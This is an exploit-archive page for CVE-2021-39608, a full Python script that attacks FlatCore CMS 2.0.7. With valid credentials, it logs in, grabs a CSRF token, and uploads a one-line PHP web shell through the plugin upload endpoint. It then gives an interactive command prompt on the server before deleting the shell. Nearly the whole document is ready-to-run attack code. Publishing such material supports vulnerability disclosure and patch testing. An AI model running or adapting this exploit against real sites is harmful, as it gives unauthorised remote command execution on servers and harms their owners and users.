• September 8, 2021

FlatCore CMS 2.0.7 Remote Code Execution

Exploiting XXE Via File Uploads

FlatCore CMS 2.0.7 Remote Code Execution

FlatCore CMS 2.0.7 Remote Code Execution 603 316 Artificial Hacker


FlatCore CMS version 2.0.7 authenticated remote code execution exploit.

MD5 | e06c9340c593f5ab077c881d44707427

# Exploit Title: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/10/2021
# Exploit Author: Mason Soroka-Gill @sgizoid
# Vendor Homepage: https://flatcore.org/
# Software Link: https://github.com/flatCore/flatCore-CMS/archive/refs/tags/v2.0.7.tar.gz
# Version: 2.0.7
# Tested on: Ubuntu Server 21.04
# CVE: CVE-2021-39608
# References:
# - https://github.com/flatCore/flatCore-CMS/issues/52

#!/usr/bin/env python3

import sys
import requests
from lxml import html
from urllib.parse import urlencode

if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} 'http(s)://TARGET' 'USERNAME' 'PASSWORD'")
exit(1)

TARGET = sys.argv[1]
USERNAME = sys.argv[2]
PASSWORD = sys.argv[3]

# attempt to log in
resp = requests.post(f"{TARGET}/index.php?p=1",
data={
"login_name":f"{USERNAME}",
"login_psw":f"{PASSWORD}",
"login":"Anmelden"})

# grab the PHP session ID
PHPSESSID = resp.headers['Set-Cookie'].split(";")[0]

# validate credentials worked
resp = requests.get(f"{TARGET}/acp/acp.php?tn=addons",
headers={"Cookie":PHPSESSID})
if resp.status_code != 200:
print("Invalid credentials")
exit(1)
else:
print("Logged in")

# grab the csrf token for the script upload
csrf_token = html.document_fromstring(resp.text).xpath('//form/input[7]')[0].value

# post the shell to the host
resp = requests.post(f"{TARGET}/acp/core/files.upload-script.php",
data={"upload_type":"plugin", "csrf_token":csrf_token}, # the csrf token
files={"file":("sgizoid.php", "<?php echo shell_exec($_GET['sg']); ?>")}, # the webshell
headers={"Cookie":PHPSESSID}) # the php session id

# pretend to be a shell
while True:
command = input("$ ")
if command.lower() == "exit" or command.lower() == "q":
break
resp = requests.get(f"{TARGET}/upload/plugins/sgizoid.php?{urlencode({'sg':command})}")
# verify payload succeeded
if resp.status_code == 200:
print(resp.text)
else:
print("Error: Something went wrong, maybe the shell didn't work?")
break

# delete the webshell
resp = requests.get(f"{TARGET}/acp/acp.php?tn=moduls&sub=u&dir=plugins&del=sgizoid.php",
headers={"Cookie":PHPSESSID})
if resp.status_code == 200:
print("Cleaned up webshell")

# clean up the session
resp = requests.get(f"{TARGET}/index.php?goto=logout",
headers={"Cookie":PHPSESSID})
if resp.status_code == 200:
print("Logged out")

exit(0)





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